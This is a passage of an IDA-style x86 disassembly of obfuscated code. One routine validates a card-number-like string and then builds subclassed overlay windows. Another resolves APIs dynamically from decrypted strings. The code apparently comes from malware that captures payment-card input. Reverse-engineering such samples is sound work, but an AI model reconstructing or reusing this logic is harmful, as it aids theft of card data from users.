		mov	al, [eax]
		cmp	al, 34h
		jz	short loc_41C255
		cmp	al, 35h
		jnz	loc_41D23C


loc_41C255:				; CODE XREF: sub_41C22E+1Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_41C25D:				; CODE XREF: sub_41C22E+34j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41C25D
		mov	[ebp+var_128], eax
		mov	edx, ds:100140D8h
		add	edx, 0Bh
		cmp	eax, edx
		jz	short loc_41C288
		mov	edx, ds:10014198h
		add	edx, 0Ah
		cmp	eax, edx
		jnz	loc_41D23C


loc_41C288:				; CODE XREF: sub_41C22E+47j
		mov	ebx, ds:100141FCh
		sub	ebx, 4
		jmp	short loc_41C2B7
; ---------------------------------------------------------------------------


loc_41C293:				; CODE XREF: sub_41C22E+9Cj
		mov	eax, 30h
		mul	ebx
		mov	[ebp+var_260], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_260]
		cmp	ds:10011540h[edx], eax
		jz	loc_41D23C
		inc	ebx


loc_41C2B7:				; CODE XREF: sub_41C22E+63j
		mov	eax, ds:10014138h
		add	eax, 5Eh
		movsx	edx, word ptr ds:100140A0h
		add	eax, edx
		cmp	ebx, eax
		jb	short loc_41C293
		mov	eax, ds:10014218h
		add	eax, 0Ah
		cmp	[ebp+var_128], eax
		jnz	loc_41C4AF
		mov	eax, [ebp+arg_0]
		mov	al, [eax+4]
		cmp	al, 2Dh
		jz	short loc_41C2F2
		cmp	al, 20h
		jnz	loc_41D23C


loc_41C2F2:				; CODE XREF: sub_41C22E+BAj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+9]
		cmp	al, 2Dh
		jz	short loc_41C304
		cmp	al, 20h
		jnz	loc_41D23C


loc_41C304:				; CODE XREF: sub_41C22E+CCj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+0Eh]
		cmp	al, 2Dh
		jz	short loc_41C316
		cmp	al, 20h
		jnz	loc_41D23C


loc_41C316:				; CODE XREF: sub_41C22E+DEj
		mov	eax, ds:100141B4h
		add	eax, ds:10014248h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx]
		mov	[ebp+eax+var_103], dl
		mov	eax, ds:10014168h
		add	eax, ds:100140ECh
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+1]
		mov	[ebp+eax+var_10D], dl
		movsx	eax, word ptr ds:100141B8h
		add	eax, ds:10014100h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+2]
		mov	[ebp+eax+var_109], dl
		movsx	eax, word ptr ds:10014148h
		mov	edx, ds:100141A0h
		lea	eax, [eax+edx+3]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+3]
		mov	[ebp+eax+var_FF], dl
		mov	eax, ds:100141BCh
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+5]
		mov	[ebp+eax+var_FE], dl
		movsx	eax, word ptr ds:100141C0h
		movsx	edx, word ptr ds:10014180h
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+6]
		mov	byte ptr [ebp+eax+var_108], dl
		movsx	eax, word ptr ds:10014114h
		add	eax, ds:100141ECh
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+7]
		mov	byte ptr [ebp+eax+var_108], dl
		mov	eax, ds:10014200h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+8]
		mov	[ebp+eax+var_FE], dl
		mov	eax, ds:100140D0h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ah]
		mov	[ebp+eax+var_F8], dl
		mov	eax, ds:100141B0h
		add	eax, ds:1001419Ch
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Bh]
		mov	byte ptr [ebp+eax+var_108+2], dl
		mov	eax, ds:100140F0h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ch]
		mov	[ebp+eax+var_F5], dl
		mov	eax, ds:10014170h
		add	eax, 3
		add	eax, ds:100141BCh
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Dh]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word ptr ds:100140F4h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Fh]
		mov	[ebp+eax+var_FA], dl
		mov	eax, ds:100140ACh
		add	eax, 3
		add	eax, ds:10014170h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+10h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, ds:100141ACh
		movsx	edx, word ptr ds:10014114h
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+11h]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word ptr ds:100140B4h
		movsx	edx, word ptr ds:10014160h
		lea	eax, [eax+edx+5]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+12h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, ds:10014178h
		mov	edx, ds:100141D8h
		sub	edx, 3
		mov	[ebp+eax+var_F4], dl
		jmp	short loc_41C4BE
; ---------------------------------------------------------------------------


loc_41C4AF:				; CODE XREF: sub_41C22E+ACj
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_425D7D


loc_41C4BE:				; CODE XREF: sub_41C22E+27Fj
		mov	esi, ds:100141CCh
		dec	esi
		jmp	short loc_41C4DC
; ---------------------------------------------------------------------------


loc_41C4C7:				; CODE XREF: sub_41C22E+2C1j
		mov	al, [ebp+esi+var_FF]
		cmp	al, 30h
		jl	short loc_41C4D6
		cmp	al, 39h
		jle	short loc_41C4DB


loc_41C4D6:				; CODE XREF: sub_41C22E+2A2j
		jmp	loc_41D23C
; ---------------------------------------------------------------------------


loc_41C4DB:				; CODE XREF: sub_41C22E+2A6j
		inc	esi


loc_41C4DC:				; CODE XREF: sub_41C22E+297j
		movsx	eax, word ptr ds:10014128h
		mov	edx, ds:10014178h
		lea	eax, [eax+edx+6]
		cmp	esi, eax
		jb	short loc_41C4C7
		movsx	eax, word ptr ds:100140F8h
		movsx	edx, word ptr ds:100140B8h
		add	eax, edx
		sub	eax, 0Ah
		mov	[ebp+var_108], eax
		mov	eax, ds:100140FCh
		movsx	edx, word ptr ds:10014190h
		mov	esi, eax
		add	esi, edx
		sub	esi, 0Ch
		jmp	short loc_41C560
; ---------------------------------------------------------------------------


loc_41C51F:				; CODE XREF: sub_41C22E+342j
		movsx	eax, [ebp+esi+var_FF]
		sub	eax, 30h
		movsx	edx, word ptr ds:100140F8h
		inc	edx
		imul	eax, edx
		add	[ebp+var_108], eax
		cmp	[ebp+esi+var_FF], 34h
		jle	short loc_41C556
		mov	eax, ds:10014238h
		add	eax, ds:100140DCh
		sub	[ebp+var_108], eax


loc_41C556:				; CODE XREF: sub_41C22E+315j
		mov	eax, ds:100141B4h
		sub	eax, 2
		add	esi, eax


loc_41C560:				; CODE XREF: sub_41C22E+2EFj
		mov	eax, ds:100141B0h
		movsx	edx, word ptr ds:100140C4h
		add	eax, edx
		cmp	esi, eax
		jb	short loc_41C51F
		movsx	eax, word ptr ds:100141C0h
		mov	ebx, eax
		add	ebx, ds:10014188h
		sub	ebx, 11h
		jmp	short loc_41C5A7
; ---------------------------------------------------------------------------


loc_41C586:				; CODE XREF: sub_41C22E+385j
		movsx	eax, [ebp+ebx+var_FF]
		sub	eax, 30h
		add	[ebp+var_108], eax
		mov	eax, ds:10014198h
		add	eax, ds:10014170h
		sub	eax, 0Ch
		add	ebx, eax


loc_41C5A7:				; CODE XREF: sub_41C22E+356j
		movsx	eax, word ptr ds:10014114h
		add	eax, 7
		cmp	ebx, eax
		jb	short loc_41C586
		mov	eax, [ebp+var_108]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		mov	edi, ds:100141F4h
		add	edi, ds:10014100h
		sub	edi, 0Ah
		cmp	edx, edi
		jnz	loc_41D23C
		lea	eax, [ebp+var_FF]
		push	eax
		call	dword ptr ds:10013954h
		pop	ecx
		or	eax, eax
		jnz	loc_41D23C
		movsx	esi, word ptr ds:10014220h
		sub	esi, 7
		movsx	esi, word ptr ds:100140C4h
		sub	esi, 9
		jmp	short loc_41C61F
; ---------------------------------------------------------------------------


loc_41C607:				; CODE XREF: sub_41C22E+401j
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_264], eax
		cmp	dword ptr ds:10011540h[eax], 0
		jz	short loc_41C631
		inc	esi


loc_41C61F:				; CODE XREF: sub_41C22E+3D7j
		mov	eax, ds:10014118h
		add	eax, 5Ah
		add	eax, ds:10014104h
		cmp	esi, eax
		jb	short loc_41C607


loc_41C631:				; CODE XREF: sub_41C22E+3EEj
		mov	eax, ds:10014188h
		add	eax, 5Bh
		cmp	esi, eax
		jz	loc_41D23C
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_268], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_268]
		mov	ds:10011540h[edx], eax
		push	100156B1h
		call	sub_41B08F
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_4]
		call	dword ptr ds:10013814h
		mov	[ebp+var_134], eax
		test	eax, eax
		jnz	short loc_41C68A
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_134], eax


loc_41C68A:				; CODE XREF: sub_41C22E+451j
		push	100156A4h
		call	sub_41B08F
		push	eax
		push	[ebp+var_134]
		call	sub_41BF88
		mov	[ebp+var_12C], eax
		push	10015698h
		call	sub_41B08F
		push	eax
		push	[ebp+var_12C]
		call	sub_41BF88
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_26C], eax
		mov	ebx, eax
		mov	ds:10011544h[ebx], edi
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_270], eax
		push	dword ptr ds:10011544h[eax]
		call	dword ptr ds:10013838h
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_12C]
		call	dword ptr ds:10013830h
		push	0
		call	dword ptr ds:10010598h
		mov	[ebp-10Ch], eax
		push	1001568Eh
		call	sub_41B08F
		add	esp, 1Ch
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		push	[ebp+var_12C]
		mov	edi, [ebp-110h]
		sub	edi, [ebp+var_118]
		push	edi
		mov	edi, [ebp+var_114]
		sub	edi, [ebp+var_11C]
		push	edi
		mov	edi, ds:100141ACh
		add	edi, ds:100140A4h
		sub	edi, 0Eh
		push	edi
		mov	edi, ds:100141D8h
		sub	edi, 3
		push	edi
		push	50800000h
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		push	200h
		call	dword ptr ds:10012820h
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_274], eax
		mov	ebx, eax
		mov	ds:10011548h[ebx], edi
		mov	edi, ds:100141B0h
		mov	ebx, [ebp-110h]
		sub	ebx, [ebp+var_118]
		mov	edx, ds:10014218h
		lea	edi, [edi+edx+0EAh]
		sub	ebx, edi
		mov	edi, ds:100141B0h
		add	edi, 35h
		mov	eax, ebx
		sub	eax, edi
		xor	edx, edx
		test	eax, eax
		setl	dl
		add	eax, edx
		sar	eax, 1
		mov	[ebp+var_124], eax
		mov	edx, ds:1001424Ch
		sub	edx, 9
		cmp	eax, edx
		jge	short loc_41C7F3
		mov	eax, ds:100141CCh
		movsx	edx, word ptr ds:100140F8h
		add	eax, edx
		dec	eax
		mov	[ebp+var_124], eax


loc_41C7F3:				; CODE XREF: sub_41C22E+5AEj
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		mov	edx, ds:10014104h
		add	edx, 29h
		sub	eax, edx
		mov	[ebp+var_120], eax
		push	10015684h
		call	sub_41B08F
		mov	[ebp+var_278], eax
		push	1001566Bh
		call	sub_41B08F
		mov	[ebp+var_27C], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_280], eax
		mov	edi, eax
		push	dword ptr ds:10011548h[edi]
		movsx	edi, word ptr ds:100140B4h
		add	edi, 38h
		push	edi
		push	[ebp+var_120]
		push	[ebp+var_124]
		mov	edi, ds:100140A8h
		add	edi, 10h
		push	edi
		push	50800000h
		mov	edi, [ebp+var_27C]
		push	edi
		mov	edi, [ebp+var_278]
		push	edi
		mov	edi, ds:10014184h
		add	edi, ds:100140C8h
		sub	edi, 3
		push	edi
		call	dword ptr ds:10012820h
		mov	[ebp+var_138], eax
		push	10015661h
		call	sub_41B08F
		mov	[ebp+var_284], eax
		push	1001565Dh
		call	sub_41B08F
		mov	[ebp+var_288], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_28C], eax
		mov	edi, eax
		push	dword ptr ds:10011548h[edi]
		mov	edi, ds:100140B0h
		add	edi, 0F1h
		push	edi
		push	[ebp+var_120]
		mov	edi, [ebp+var_124]
		movsx	ebx, word ptr ds:10014190h
		mov	edx, ds:10014100h
		lea	ebx, [ebx+edx+30h]
		add	edi, ebx
		mov	ebx, ds:10014170h
		movsx	edx, word ptr ds:10014180h
		add	ebx, edx
		sub	ebx, 9
		add	edi, ebx
		push	edi
		mov	edi, ds:1001415Ch
		add	edi, 0Eh
		add	edi, ds:100141ECh
		push	edi
		push	50800009h
		mov	edi, [ebp+var_288]
		push	edi
		mov	edi, [ebp+var_284]
		push	edi
		mov	edi, ds:100141A8h
		add	edi, ds:100140F0h
		sub	edi, 8
		push	edi
		call	dword ptr ds:10012820h
		mov	[ebp+var_13C], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, ds:10014238h
		sub	eax, 9
		push	eax
		movsx	eax, word ptr ds:10014160h
		sub	eax, 6
		push	eax
		movsx	eax, word ptr ds:10014130h
		sub	eax, 2
		push	eax
		push	2BCh
		mov	eax, ds:100141FCh
		sub	eax, 4
		push	eax
		mov	eax, ds:10014200h
		add	eax, ds:100140E0h
		sub	eax, 8
		push	eax
		push	dword ptr ds:10014158h
		mov	eax, ds:100141C4h
		add	eax, 13h
		push	eax
		call	dword ptr ds:10011214h
		mov	[ebp+var_140], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_138]
		call	dword ptr ds:1000D014h
		push	10015653h
		call	sub_41B08F
		mov	[ebp+var_290], eax
		push	1001564Eh
		call	sub_41B08F
		add	esp, 18h
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		push	[ebp+var_13C]
		mov	edi, ds:100140B0h
		mov	ebx, ds:10014178h
		add	ebx, 0F4h
		add	ebx, ds:100141A4h
		mov	edx, edi
		add	edx, ds:1001424Ch
		sub	edx, 0Eh
		sub	ebx, edx
		push	ebx
		mov	ebx, [ebp+var_120]
		mov	edx, ds:100141F8h
		add	edx, edi
		mov	edi, edx
		sub	edi, 0Bh
		sub	ebx, edi
		push	ebx
		movsx	edi, word ptr ds:1001421Ch
		add	edi, ds:100140ACh
		sub	edi, 0Ah
		push	edi
		mov	edi, ds:100140A4h
		add	edi, ds:100140FCh
		sub	edi, 0Fh
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_290]
		push	edi
		mov	edi, ds:100140D8h
		movsx	ebx, word ptr ds:10014210h
		add	edi, ebx
		sub	edi, 0Bh
		push	edi
		call	dword ptr ds:10012820h
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_294], eax
		mov	ebx, eax
		mov	ds:1001154Ch[ebx], edi
		mov	eax, ds:10014178h
		cmp	[ebp+eax+var_104], 34h
		jnz	short loc_41CAC5
		push	10015646h
		call	sub_41B08F
		pop	ecx
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	sub_425D7D
		jmp	short loc_41CADD
; ---------------------------------------------------------------------------


loc_41CAC5:				; CODE XREF: sub_41C22E+87Bj
		push	10015638h
		call	sub_41B08F
		pop	ecx
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	sub_425D7D


loc_41CADD:				; CODE XREF: sub_41C22E+895j
		push	100155C6h
		call	sub_41B08F
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_253]
		push	edi
		push	eax
		lea	edi, [ebp+var_23F]
		push	edi
		call	dword ptr ds:10013810h
		push	100155BCh
		call	sub_41B08F
		mov	[ebp+var_298], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_29C], eax
		mov	edi, eax
		push	dword ptr ds:1001154Ch[edi]
		movsx	edi, word ptr ds:10014144h
		add	edi, 27h
		push	edi
		push	[ebp+var_120]
		mov	edi, ds:10014218h
		inc	edi
		push	edi
		mov	edi, ds:10014158h
		add	edi, 2
		push	edi
		push	50000000h
		lea	edi, [ebp+var_23F]
		push	edi
		mov	edi, [ebp+var_298]
		push	edi
		mov	edi, ds:10014168h
		add	edi, ds:1001410Ch
		sub	edi, 9
		push	edi
		call	dword ptr ds:10012820h
		mov	[ebp+var_258], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		movsx	eax, word ptr ds:10014120h
		add	eax, ds:100140D8h
		sub	eax, 0Eh
		push	eax
		mov	eax, ds:100140CCh
		mov	edx, ds:100141CCh
		add	edx, eax
		sub	edx, 7
		push	edx
		movsx	edx, word ptr ds:100140A0h
		add	edx, eax
		mov	eax, edx
		sub	eax, 7
		push	eax
		push	190h
		mov	eax, ds:100141ACh
		add	eax, ds:1001415Ch
		sub	eax, 5
		push	eax
		mov	eax, ds:10014140h
		add	eax, ds:1001410Ch
		sub	eax, 9
		push	eax
		movsx	eax, word ptr ds:100140B8h
		sub	eax, 3
		push	eax
		movsx	eax, word ptr ds:10014110h
		add	eax, 10h
		push	eax
		call	dword ptr ds:10011214h
		mov	[ebp+var_130], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_258]
		call	dword ptr ds:1000D014h
		push	100155B0h
		call	sub_41B08F
		mov	[ebp+var_2A0], eax
		push	100155ACh
		call	sub_41B08F
		mov	[ebp+var_2A4], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A8], eax
		mov	edi, eax
		push	dword ptr ds:1001154Ch[edi]
		mov	edi, ds:10014198h
		add	edi, 11Ah
		add	edi, ds:10014188h
		push	edi
		movsx	edi, word ptr ds:10014180h
		add	edi, 2Dh
		push	edi
		movsx	edi, word ptr ds:10014128h
		add	edi, 46h
		push	edi
		movsx	edi, word ptr ds:10014190h
		add	edi, 5
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2A4]
		push	edi
		mov	edi, [ebp+var_2A0]
		push	edi
		mov	edi, ds:100140A4h
		sub	edi, 9
		push	edi
		call	dword ptr ds:10012820h
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2AC], eax
		mov	ebx, eax
		mov	ds:10011550h[ebx], edi
		push	100155A0h
		call	sub_41B08F
		mov	[ebp+var_2B0], eax
		push	1001559Ch
		call	sub_41B08F
		add	esp, 28h
		mov	[ebp+var_2B4], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B8], eax
		mov	edi, eax
		push	dword ptr ds:1001154Ch[edi]
		mov	edi, ds:10014248h
		add	edi, 12Ch
		push	edi
		movsx	edi, word ptr ds:10014220h
		mov	ebx, ds:1001415Ch
		lea	edi, [edi+ebx+35h]
		push	edi
		movsx	edi, word ptr ds:10014110h
		mov	ebx, edi
		add	ebx, 4Bh
		push	ebx
		mov	ebx, ds:1001416Ch
		add	ebx, 3Fh
		add	ebx, ds:100140ACh
		push	ebx
		push	50800003h
		mov	ebx, [ebp+var_2B4]
		push	ebx
		mov	ebx, [ebp+var_2B0]
		push	ebx
		add	edi, ds:10014178h
		sub	edi, 5
		push	edi
		call	dword ptr ds:10012820h
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2BC], eax
		mov	ebx, eax
		mov	ds:10011554h[ebx], edi
		mov	eax, ds:10014104h
		sub	eax, 3
		mov	[ebp+var_102], ax
		jmp	loc_41CE51
; ---------------------------------------------------------------------------


loc_41CD95:				; CODE XREF: sub_41C22E+C3Dj
		push	10015594h
		call	sub_41B08F
		movzx	edi, [ebp+var_102]
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	dword ptr ds:10013810h
		lea	eax, [ebp+var_2C6]
		push	eax
		mov	eax, ds:100141ACh
		sub	eax, 5
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		push	dword ptr ds:10011550h[eax]
		call	dword ptr ds:1000D014h
		push	1001558Ah
		call	sub_41B08F
		movzx	edi, [ebp+var_102]
		mov	ebx, ds:10014238h
		sub	ebx, 3
		add	edi, ebx
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	dword ptr ds:10013810h
		add	esp, 20h
		lea	eax, [ebp+var_2C6]
		push	eax
		mov	eax, ds:100141BCh
		movsx	edx, word ptr ds:10014114h
		add	eax, edx
		sub	eax, 0Ch
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	dword ptr ds:10011554h[eax]
		call	dword ptr ds:1000D014h
		inc	[ebp+var_102]


loc_41CE51:				; CODE XREF: sub_41C22E+B62j
		movzx	eax, [ebp+var_102]
		movsx	edx, word ptr ds:10014130h
		mov	ecx, ds:10014200h
		lea	edx, [edx+ecx+5]
		cmp	eax, edx
		jl	loc_41CD95
		push	10015582h
		call	sub_41B08F
		mov	[ebp+var_2C0], eax
		push	1001557Eh
		call	sub_41B08F
		mov	[ebp+var_2C4], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp-2C8h], eax
		mov	edi, eax
		push	dword ptr ds:1001154Ch[edi]
		movsx	edi, word ptr ds:10014114h
		add	edi, 0Fh
		push	edi
		mov	edi, ds:100141E4h
		add	edi, 54h
		push	edi
		movsx	edi, word ptr ds:100140B4h
		mov	ebx, ds:100140F0h
		lea	edi, [edi+ebx+78h]
		push	edi
		mov	edi, ds:100140C8h
		add	edi, 2Dh
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2C4]
		push	edi
		mov	edi, [ebp+var_2C0]
		push	edi
		push	200h
		call	dword ptr ds:10012820h
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		mov	ebx, eax
		mov	ds:10011558h[ebx], edi
		movsx	eax, word ptr ds:10014194h
		movsx	edx, word ptr ds:100140E8h
		add	eax, edx
		sub	eax, 0Dh
		push	eax
		push	58h
		push	0CCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	dword ptr ds:10011558h[eax]
		call	dword ptr ds:1000D014h
		push	10015574h
		call	sub_41B08F
		mov	[ebp+var_2D4], eax
		push	10015552h
		call	sub_41B08F
		mov	[ebp+var_2D8], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2DC], eax
		mov	edi, eax
		push	dword ptr ds:1001154Ch[edi]
		mov	edi, ds:1001417Ch
		add	edi, 36h
		add	edi, ds:100141E0h
		push	edi
		push	[ebp+var_120]
		mov	edi, ds:100140CCh
		add	edi, 49h
		push	edi
		mov	edi, ds:1001409Ch
		add	edi, 95h
		push	edi
		push	50000000h
		mov	edi, [ebp+var_2D8]
		push	edi
		mov	edi, [ebp+var_2D4]
		push	edi
		mov	edi, ds:100141A8h
		sub	edi, 8
		push	edi
		call	dword ptr ds:10012820h
		mov	[ebp+var_25C], eax
		push	1
		push	[ebp+var_130]
		push	30h
		push	eax
		call	dword ptr ds:1000D014h
		push	10015548h
		call	sub_41B08F
		mov	[ebp+var_2E0], eax
		push	1001552Eh
		call	sub_41B08F
		add	esp, 18h
		mov	[ebp+var_2E4], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E8], eax
		mov	edi, eax
		push	dword ptr ds:1001154Ch[edi]
		movsx	edi, word ptr ds:10014220h
		add	edi, 10h
		push	edi
		mov	edi, ds:100141D8h
		add	edi, 94h
		movsx	ebx, word ptr ds:100140B4h
		add	edi, ebx
		push	edi
		mov	edi, ds:100141B4h
		add	edi, 0F6h
		mov	ebx, ds:1001414Ch
		add	ebx, 1Bh
		sub	edi, ebx
		push	edi
		movsx	edi, word ptr ds:10014114h
		inc	edi
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2E4]
		push	edi
		mov	edi, [ebp+var_2E0]
		push	edi
		movsx	edi, word ptr ds:10014120h
		movsx	ebx, word ptr ds:100141B8h
		add	edi, ebx
		sub	edi, 0Eh
		push	edi
		call	dword ptr ds:10012820h
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2EC], eax
		mov	ebx, eax
		mov	ds:1001155Ch[ebx], edi
		push	1
		push	[ebp+var_130]
		mov	eax, 30h
		push	30h
		mul	esi
		mov	[ebp+var_2F0], eax
		push	dword ptr ds:1001155Ch[eax]
		call	dword ptr ds:1000D014h
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F4], eax
		mov	[ebp+var_2F8], eax
		push	dword ptr ds:10011550h[eax]
		call	dword ptr ds:100137FCh
		mov	edi, [ebp+var_2F8]
		mov	ds:10011560h[edi], eax
		push	100048EAh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2FC], eax
		push	dword ptr ds:10011550h[eax]
		call	dword ptr ds:100105ACh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_300], eax
		mov	[ebp+var_304], eax
		push	dword ptr ds:10011554h[eax]
		call	dword ptr ds:100137FCh
		mov	edi, [ebp+var_304]
		mov	ds:10011564h[edi], eax
		push	100048EAh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_308], eax
		push	dword ptr ds:10011554h[eax]
		call	dword ptr ds:100105ACh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_30C], eax
		mov	[ebp+var_310], eax
		push	dword ptr ds:10011558h[eax]
		call	dword ptr ds:100137FCh
		mov	edi, [ebp+var_310]
		mov	ds:10011568h[edi], eax
		push	100048EAh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_314], eax
		push	dword ptr ds:10011558h[eax]
		call	dword ptr ds:100105ACh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_318], eax
		mov	[ebp+var_31C], eax
		push	dword ptr ds:1001154Ch[eax]
		call	dword ptr ds:100137FCh
		mov	edi, [ebp+var_31C]
		mov	ds:1001156Ch[edi], eax
		push	100048EAh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_320], eax
		push	dword ptr ds:1001154Ch[eax]
		call	dword ptr ds:100105ACh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_324], eax
		push	dword ptr ds:10011550h[eax]
		call	dword ptr ds:100109FCh


loc_41D23C:				; CODE XREF: sub_41C22E+10j
					; sub_41C22E+21j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C22E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D241	proc near		; CODE XREF: .data:0041A7C7p
		push	edi
		push	1001551Eh
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10010598h
		mov	ds:10014268h, eax
		test	eax, eax
		jnz	short loc_41D274
		push	1001550Eh
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10011208h
		mov	ds:10014268h, eax


loc_41D274:				; CODE XREF: sub_41D241+1Aj
		push	100154FCh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014268h
		call	dword ptr ds:100101ACh
		mov	ds:1000DFF8h, eax
		push	100154EBh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014268h
		call	dword ptr ds:100101ACh
		mov	ds:10013D84h, eax
		push	100154DBh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014268h
		call	dword ptr ds:100101ACh
		mov	ds:10013D94h, eax
		push	100154CCh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014268h
		call	dword ptr ds:100101ACh
		mov	ds:1000D040h, eax
		push	100154BCh
		call	sub_41B08F
		add	esp, 14h
		push	eax
		push	dword ptr ds:10014268h
		call	dword ptr ds:100101ACh
		mov	ds:10011218h, eax
		pop	edi
		retn
sub_41D241	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D305	proc near		; CODE XREF: .data:0041BB37p

var_10034	= dword	ptr -10034h
var_10030	= byte ptr -10030h
var_1002C	= dword	ptr -1002Ch
var_10028	= dword	ptr -10028h
var_10024	= dword	ptr -10024h
var_10020	= byte ptr -10020h
var_10018	= dword	ptr -10018h
var_10010	= dword	ptr -10010h
var_1000C	= dword	ptr -1000Ch
var_10008	= dword	ptr -10008h
var_10003	= byte ptr -10003h
var_10002	= byte ptr -10002h
var_10001	= byte ptr -10001h
var_10000	= byte ptr -10000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10034h
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr ds:1001433Ch,	0
		jnz	short loc_41D332
		mov	eax, ds:100140F0h
		add	eax, 0Ah
		cmp	ds:100105D0h, eax
		jb	loc_41D574


loc_41D332:				; CODE XREF: sub_41D305+17j
		lea	eax, [ebp+var_10020]
		push	eax
		call	dword ptr ds:1000D040h
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_10020]
		push	eax
		push	9
		movsx	eax, word ptr ds:100141F0h
		add	eax, ds:100140C0h
